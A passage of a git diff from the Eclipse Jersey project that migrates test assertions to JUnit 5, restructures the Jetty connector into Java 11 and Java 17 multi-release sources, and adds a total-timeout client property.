Assert.assertEquals(BroadcasterResource.WELCOME + PALINDROME + PALINDROME, clientTwo.message.toString()); + Assertions.assertEquals(BroadcasterResource.WELCOME + PALINDROME + PALINDROME, clientOne.message.toString()); + Assertions.assertEquals(BroadcasterResource.WELCOME + PALINDROME + PALINDROME, clientTwo.message.toString()); clientOne.close(); clientTwo.close(); @@ -170,13 +168,13 @@ private void register() throws InterruptedException { source.open(); latch.await(WAIT_TIME, TimeUnit.MILLISECONDS); - Assert.assertEquals(0, latch.getCount()); + Assertions.assertEquals(0, latch.getCount()); } private void broadcast() { try (Response r = target.path("broadcast/broadcast") .request().buildPost(Entity.entity(PALINDROME, MediaType.TEXT_PLAIN)).invoke()) { - Assert.assertEquals(204, r.getStatus()); + Assertions.assertEquals(204, r.getStatus()); } } diff --git a/connectors/java-connector/src/main/java/org/glassfish/jersey/java/connector/JavaClientProperties.java b/connectors/java-connector/src/main/java/org/glassfish/jersey/java/connector/JavaClientProperties.java deleted file mode 100644 index cb8f60e8c25..00000000000 --- a/connectors/java-connector/src/main/java/org/glassfish/jersey/java/connector/JavaClientProperties.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.java.connector; - -import org.glassfish.jersey.internal.util.PropertiesClass; - -import java.net.http.HttpClient; - -/** - * Provides configuration properties for a {@link JavaConnector}. - * - * @author Steffen Nießing - */ -@PropertiesClass -public class JavaClientProperties { - /** - * Configuration of the {@link java.net.CookieHandler} that should be used by the {@link HttpClient}. - * If this option is not set, {@link HttpClient#cookieHandler()} will return an empty {@link java.util.Optional} - * and therefore no cookie handler will be used. - * - * A provided value to this option has to be of type {@link java.net.CookieHandler}. - */ - public static final String COOKIE_HANDLER = "jersey.config.java.client.cookieHandler"; - - /** - * Configuration of SSL parameters used by the {@link HttpClient}. - * If this option is not set, then the {@link HttpClient} will use implementation specific default values. - * - * A provided value to this option has to be of type {@link javax.net.ssl.SSLParameters}. - */ - public static final String SSL_PARAMETERS = "jersey.config.java.client.sslParameters"; - - /** - * Prevent this class from instantiation. - */ - private JavaClientProperties() {} -} diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml index 37a68e90a70..a184a23dcc2 100644 --- a/connectors/jdk-connector/pom.xml +++ b/connectors/jdk-connector/pom.xml @@ -1,7 +1,7 @@ + target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java index 7b860c32146..b6817dc5565 100644 --- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java +++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -70,7 +70,7 @@ private JettyClientProperties() { * that is stored in a truststore. *

* The value MUST be an instance of {@link java.lang.Boolean}. - * If the property is absent the default value is {@code true} + * If the property is absent the default value is {@code true}. */ public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = "jersey.config.jetty.client.enableSslHostnameVerification"; @@ -85,6 +85,24 @@ private JettyClientProperties() { public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE = "jersey.config.jetty.client.syncListenerResponseMaxSize"; + /** + * Total timeout interval for request/response conversation, in milliseconds. + * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}. + *

+ * The value MUST be an instance convertible to {@link java.lang.Integer}. The + * value of zero (0) is equivalent to an interval of infinity. + *

+ *

+ * The default value is zero (infinity). + *

+ *

+ * The name of the configuration property is {@value}. + *

+ * + * @since 2.37 + */ + public static final String TOTAL_TIMEOUT = "jersey.config.jetty.client.totalTimeout"; + /** * Get the value of the specified property. * diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java new file mode 100644 index 00000000000..50ec6bd627e --- /dev/null +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java @@ -0,0 +1,85 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; + +/** + * A {@link ConnectorProvider} for Jersey {@link Connector connector} + * instances that utilize the Jetty HTTP Client to send and receive + * HTTP request and responses. + *

+ * The following connector configuration properties are supported: + *

    + *
  • {@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • * + *
  • {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
  • + *
  • {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
  • + *
  • {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
  • + *
+ *

+ *

+ * This transport supports both synchronous and asynchronous processing of client requests. + * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE. + *

+ *

+ * Typical usage: + *

+ *
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * 
+ *

+ * Connector instances created via Jetty HTTP Client-based connector provider support only + * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}. + * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no + * effect on Jetty HTTP Client-based connectors. + *

+ * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + * @since 2.5 + */ +public class JettyConnectorProvider implements ConnectorProvider { + + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } +} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java similarity index 54% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java rename to connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java index 851e21501c1..6453521c068 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,20 +14,20 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.test; +package org.glassfish.jersey.jetty.connector; -import java.math.BigDecimal; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.spi.Contract; /** - * Simple account service to testify injection into different scopes. - * - * @author Marko Asplund (marko.asplund at yahoo.com) + * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient} + * that is consequently used by {@link JettyConnector} */ -public interface AccountService { - - void setAccountBalance(String accountId, BigDecimal balance); - - BigDecimal getAccountBalance(String accountId); - - String verifyServletRequestInjection(); +@Contract +public interface JettyHttpClientContract { + /** + * Supply a user predefined HttpClient + * @return a user predefined HttpClient + */ + HttpClient getHttpClient(); } diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java similarity index 96% rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java rename to connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java index dc43fb3ba6a..2b9e8b2ce73 100644 --- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java new file mode 100644 index 00000000000..aa8f0e6e2af --- /dev/null +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java @@ -0,0 +1,559 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.CookieStore; +import java.net.URI; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CancellationException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.MultivaluedMap; + +import javax.net.ssl.SSLContext; + +import org.eclipse.jetty.client.AuthenticationStore; +import org.eclipse.jetty.client.BasicAuthentication; +import org.eclipse.jetty.client.ByteBufferRequestContent; +import org.eclipse.jetty.client.ContentResponse; +import org.eclipse.jetty.client.FutureResponseListener; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.client.OutputStreamRequestContent; +import org.eclipse.jetty.client.Request; +import org.eclipse.jetty.client.Response; +import org.eclipse.jetty.client.Result; +import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP; +import org.eclipse.jetty.client.transport.HttpRequest; +import org.eclipse.jetty.http.HttpCookieStore; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.client.innate.ClientProxy; +import org.glassfish.jersey.client.spi.AsyncConnectorCallback; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream; +import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream; +import org.glassfish.jersey.message.internal.HeaderUtils; +import org.glassfish.jersey.message.internal.OutboundMessageContext; +import org.glassfish.jersey.message.internal.Statuses; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpProxy; +import org.eclipse.jetty.client.ProxyConfiguration; +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpFields; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.util.Jetty; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; + +/** + * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive + * HTTP request and responses. + *

+ * The following properties are only supported at construction of this class: + *

    + *
  • {@link ClientProperties#ASYNC_THREADPOOL_SIZE}
  • + *
  • {@link ClientProperties#CONNECT_TIMEOUT}
  • + *
  • {@link ClientProperties#FOLLOW_REDIRECTS}
  • + *
  • {@link ClientProperties#PROXY_URI}
  • + *
  • {@link ClientProperties#PROXY_USERNAME}
  • + *
  • {@link ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • * + *
  • {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
  • + *
  • {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
  • + *
  • {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
  • + *
+ *

+ * This transport supports both synchronous and asynchronous processing of client requests. + * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE. + *

+ * Typical usage: + *

+ *

+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * Connector connector = new JettyConnector(config);
+ * config.connector(connector);
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * 
+ *

+ * This connector supports only {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}. + * Defining the property {@link ClientProperties#REQUEST_ENTITY_PROCESSING} has no effect on this connector. + *

+ * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class JettyConnector implements Connector { + + private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName()); + + private final HttpClient client; + private final HttpCookieStore cookieStore; + private final Configuration configuration; + private final Optional syncListenerResponseMaxSize; + + /** + * Create the new Jetty client connector. + * + * @param jaxrsClient JAX-RS client instance, for which the connector is created. + * @param config client configuration. + */ + public JettyConnector(final Client jaxrsClient, final Configuration config) { + this.configuration = config; + HttpClient httpClient = getRegisteredHttpClient(config); + + if (httpClient == null) { + final SSLContext sslContext = jaxrsClient.getSslContext(); + final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false); + sslContextFactory.setSslContext(sslContext); + final ClientConnector connector = new ClientConnector(); + connector.setSslContextFactory(sslContextFactory); + final HttpClientTransport transport = initClientTransport(connector); + httpClient = new HttpClient(transport); + } + this.client = httpClient; + + Boolean enableHostnameVerification = (Boolean) config.getProperties() + .get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION); + if (enableHostnameVerification != null) { + final String verificationAlgorithm = enableHostnameVerification ? "HTTPS" : null; + client.getSslContextFactory().setEndpointIdentificationAlgorithm(verificationAlgorithm); + } + if (jaxrsClient.getHostnameVerifier() != null) { + client.getSslContextFactory().setHostnameVerifier(jaxrsClient.getHostnameVerifier()); + } + + final Object connectTimeout = config.getProperties().get(ClientProperties.CONNECT_TIMEOUT); + if (connectTimeout != null && connectTimeout instanceof Integer && (Integer) connectTimeout > 0) { + client.setConnectTimeout((Integer) connectTimeout); + } + final Object threadPoolSize = config.getProperties().get(ClientProperties.ASYNC_THREADPOOL_SIZE); + if (threadPoolSize != null && threadPoolSize instanceof Integer && (Integer) threadPoolSize > 0) { + final String name = HttpClient.class.getSimpleName() + "@" + hashCode(); + final QueuedThreadPool threadPool = new QueuedThreadPool((Integer) threadPoolSize); + threadPool.setName(name); + client.setExecutor(threadPool); + } + Boolean disableCookies = (Boolean) config.getProperties().get(JettyClientProperties.DISABLE_COOKIES); + disableCookies = (disableCookies != null) ? disableCookies : false; + + final AuthenticationStore auth = client.getAuthenticationStore(); + final Object basicAuthProvider = config.getProperty(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION); + if (basicAuthProvider != null && (basicAuthProvider instanceof BasicAuthentication)) { + auth.addAuthentication((BasicAuthentication) basicAuthProvider); + } + + final Optional proxy = ClientProxy.proxyFromConfiguration(config); + proxy.ifPresent(clientProxy -> { + final ProxyConfiguration proxyConfig = client.getProxyConfiguration(); + final URI u = clientProxy.uri(); + proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort())); + + if (clientProxy.userName() != null) { + auth.addAuthentication(new BasicAuthentication(u, "<>", + clientProxy.userName(), clientProxy.password())); + } + }); + + if (disableCookies) { + client.setHttpCookieStore(new HttpCookieStore.Empty()); + } + + final Object slResponseMaxSize = configuration.getProperties() + .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE); + if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer + && (Integer) slResponseMaxSize > 0) { + this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize); + } + else { + this.syncListenerResponseMaxSize = Optional.empty(); + } + + try { + client.start(); + } catch (final Exception e) { + throw new ProcessingException("Failed to start the client.", e); + } + this.cookieStore = client.getHttpCookieStore(); + } + + /** + * provides required HTTP client transport for client + * + * the default transport is {@link HttpClientTransportOverHTTP} + * + * @return instance of {@link HttpClientTransport} + * @since 2.41 + */ + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP(clientConnector); + } + + /** + * provides custom registered {@link HttpClient} if any (or NULL) + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttpClientSupplier.class)) { + Optional contract = config.getInstances().stream() + .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttpClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } + + /** + * Get the {@link HttpClient}. + * + * @return the {@link HttpClient}. + */ + @SuppressWarnings("UnusedDeclaration") + public HttpClient getHttpClient() { + return client; + } + + /** + * Get the {@link CookieStore}. + * + * @return the {@link CookieStore} instance or null when + * JettyClientProperties.DISABLE_COOKIES set to true. + */ + public HttpCookieStore getCookieStore() { + return cookieStore; + } + + @Override + public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException { + final Request jettyRequest = translateRequest(jerseyRequest); + final Map clientHeadersSnapshot = new HashMap<>(); + final Request.Content entity = + getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest); + if (entity != null) { + jettyRequest.body(entity); + } else { + clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest)); + } + + try { + final ContentResponse jettyResponse; + if (!syncListenerResponseMaxSize.isPresent()) { + jettyResponse = jettyRequest.send(); + } + else { + final FutureResponseListener listener + = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get()); + jettyRequest.send(listener); + jettyResponse = listener.get(); + } + HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + + final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null + ? Statuses.from(jettyResponse.getStatus()) + : Statuses.from(jettyResponse.getStatus(), jettyResponse.getReason()); + + final ClientResponse jerseyResponse = new ClientResponse(status, jerseyRequest); + processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse); + try { + jerseyResponse.setEntityStream(new HttpClientResponseInputStream(jettyResponse)); + } catch (final IOException e) { + LOGGER.log(Level.SEVERE, null, e); + } + + return jerseyResponse; + } catch (final Exception e) { + throw new ProcessingException(e); + } + } + + private static void processResponseHeaders(final HttpFields respHeaders, final ClientResponse jerseyResponse) { + for (final HttpField header : respHeaders) { + final String headerName = header.getName(); + final MultivaluedMap headers = jerseyResponse.getHeaders(); + List list = headers.get(headerName); + if (list == null) { + list = new ArrayList<>(); + } + list.add(header.getValue()); + headers.put(headerName, list); + } + } + + private static final class HttpClientResponseInputStream extends FilterInputStream { + + HttpClientResponseInputStream(final ContentResponse jettyResponse) throws IOException { + super(getInputStream(jettyResponse)); + } + + private static InputStream getInputStream(final ContentResponse response) { + return new ByteArrayInputStream(response.getContent()); + } + } + + private Request translateRequest(final ClientRequest clientRequest) { + + final URI uri = clientRequest.getUri(); + final Request request = client.newRequest(uri); + request.method(clientRequest.getMethod()); + + request.followRedirects(clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true)); + final Object readTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1); + if (readTimeout != null && readTimeout instanceof Integer && (Integer) readTimeout > 0) { + request.idleTimeout((Integer) readTimeout, TimeUnit.MILLISECONDS); + } + + final Object totalTimeout = clientRequest.resolveProperty(JettyClientProperties.TOTAL_TIMEOUT, -1); + if (totalTimeout != null && totalTimeout instanceof Integer && (Integer) totalTimeout > 0) { + request.timeout((Integer) totalTimeout, TimeUnit.MILLISECONDS); + } + + return request; + } + + private Map writeOutBoundHeaders(final MultivaluedMap headers, final Request request) { + final Map stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration); + + // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version) + request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT)); + if (request instanceof HttpRequest) { + final HttpRequest httpRequest = (HttpRequest) request; + for (final Map.Entry e : stringHeaders.entrySet()) { + httpRequest.headers(httpFields -> httpFields.put(new HttpField(e.getKey(), e.getValue()))); + } + } + return stringHeaders; + } + + private Request.Content getBytesProvider(final ClientRequest clientRequest, + final MultivaluedMap headers, + final Map snapshot, + final Request request) { + final Object entity = clientRequest.getEntity(); + + if (entity == null) { + return null; + } + + final ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { + @Override + public OutputStream getOutputStream(final int contentLength) throws IOException { + snapshot.putAll(writeOutBoundHeaders(headers, request)); + return outputStream; + } + }); + + try { + clientRequest.writeEntity(); + } catch (final IOException e) { + throw new ProcessingException("Failed to write request entity.", e); + } + return new ByteBufferRequestContent(ByteBuffer.wrap(outputStream.toByteArray())); + } + + private Request.Content getStreamProvider(final ClientRequest clientRequest) { + final Object entity = clientRequest.getEntity(); + + if (entity == null) { + return null; + } + + String contentTypeHeader = clientRequest.getRequestHeaders() + .getFirst(HttpHeader.CONTENT_TYPE.asString()); + + String contentType = contentTypeHeader != null ? contentTypeHeader : "application/octet-stream"; + + final OutputStreamRequestContent streamContentProvider = new OutputStreamRequestContent(contentType); + clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { + @Override + public OutputStream getOutputStream(final int contentLength) throws IOException { + return streamContentProvider.getOutputStream(); + } + }); + return streamContentProvider; + } + + private void processContent(final ClientRequest clientRequest, final Request.Content entity) throws IOException { + if (entity == null) { + return; + } + + final OutputStreamRequestContent streamContentProvider = (OutputStreamRequestContent) entity; + try (final OutputStream output = streamContentProvider.getOutputStream()) { + clientRequest.writeEntity(); + } + } + + @Override + public Future apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) { + final Request jettyRequest = translateRequest(jerseyRequest); + final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest); + final Request.Content entity = getStreamProvider(jerseyRequest); + if (entity != null) { + jettyRequest.body(entity); + } + final AtomicBoolean callbackInvoked = new AtomicBoolean(false); + final Throwable failure; + try { + final CompletableFuture responseFuture = new CompletableFuture(); + responseFuture.whenComplete( + (clientResponse, throwable) -> { + if (throwable != null && throwable instanceof CancellationException) { + // take care of future cancellation + jettyRequest.abort(throwable); + + } + }); + + final AtomicReference jerseyResponse = new AtomicReference<>(); + final ByteBufferInputStream entityStream = new ByteBufferInputStream(); + jettyRequest.send(new Response.Listener() { + + @Override + public void onHeaders(final Response jettyResponse) { + HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + + if (responseFuture.isDone()) { + if (!callbackInvoked.compareAndSet(false, true)) { + return; + } + } + final ClientResponse response = translateResponse(jerseyRequest, jettyResponse, entityStream); + jerseyResponse.set(response); + } + + @Override + public void onContent(final Response jettyResponse, final ByteBuffer content) { + try { + // content must be consumed before returning from this method. + + if (content.hasArray()) { + byte[] array = content.array(); + byte[] buff = new byte[content.remaining()]; + System.arraycopy(array, content.arrayOffset(), buff, 0, content.remaining()); + entityStream.put(ByteBuffer.wrap(buff)); + } else { + byte[] buff = new byte[content.remaining()]; + content.get(buff); + entityStream.put(ByteBuffer.wrap(buff)); + } + } catch (final InterruptedException ex) { + final ProcessingException pe = new ProcessingException(ex); + entityStream.closeQueue(pe); + // try to complete the future with an exception + responseFuture.completeExceptionally(pe); + Thread.currentThread().interrupt(); + } + } + + @Override + public void onComplete(final Result result) { + entityStream.closeQueue(); + if (!callbackInvoked.get()) { + callback.response(jerseyResponse.get()); + } + responseFuture.complete(jerseyResponse.get()); + } + + @Override + public void onFailure(final Response response, final Throwable t) { + entityStream.closeQueue(t); + // try to complete the future with an exception + responseFuture.completeExceptionally(t); + if (callbackInvoked.compareAndSet(false, true)) { + callback.failure(t); + } + } + }); + processContent(jerseyRequest, entity); + return responseFuture; + } catch (final Throwable t) { + failure = t; + } + + if (callbackInvoked.compareAndSet(false, true)) { + callback.failure(failure); + } + CompletableFuture future = new CompletableFuture<>(); + future.completeExceptionally(failure); + return future; + } + + private static ClientResponse translateResponse(final ClientRequest jerseyRequest, + final org.eclipse.jetty.client.Response jettyResponse, + final NonBlockingInputStream entityStream) { + final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest); + processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse); + jerseyResponse.setEntityStream(entityStream); + return jerseyResponse; + } + + @Override + public String getName() { + return "Jetty HttpClient " + Jetty.VERSION; + } + + @Override + public void close() { + try { + client.stop(); + } catch (final Exception e) { + throw new ProcessingException("Failed to stop the client.", e); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java similarity index 93% rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java rename to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java index 933ad39b5c0..43a08ce0f47 100644 --- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 